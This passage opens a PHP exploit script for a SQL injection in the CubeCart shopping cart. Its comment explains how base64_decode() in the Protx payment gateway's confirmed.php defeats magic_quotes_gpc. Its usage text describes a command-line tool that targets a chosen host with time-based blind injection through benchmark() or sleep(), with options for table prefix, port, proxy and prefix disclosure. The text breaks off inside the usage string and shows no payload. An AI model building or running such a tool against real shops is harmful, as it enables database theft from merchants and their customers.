/* short explaination:

 software site: http://www.cubecart.com/site/home/

 same kind of sql injection of http://retrogod.altervista.org/cubecart_3011_sql.html
 but this bypass magic_quotes_gpc=On because of base64_decode() function used in
 /modules/gateway/Protx/confirmed.php used near lines:
 ...
	if($success == TRUE){

		$cart_order_id = base64_decode($_GET['oid']);
		include_once("../../../includes/orderSuccess.inc.php");
		$result = "?pg=".base64_encode("Protx");

	} else {
...

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to CubeCart
Options:
 -T[prefix]:  specify a table prefix different from default (CubeCart_)
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -a           adjust the first argument to pass to benchamrk() function
 -s:          use sleep() (this function was added in MySQL 5.0.12.) instead of
	      benchmark()
 -d           disclose table prefix (reccomended)
Example:
php '.$argv[0].' localhost /cubecart/
php '.$argv[0].' localhost /cubecart/ -a200000 -Tcube_
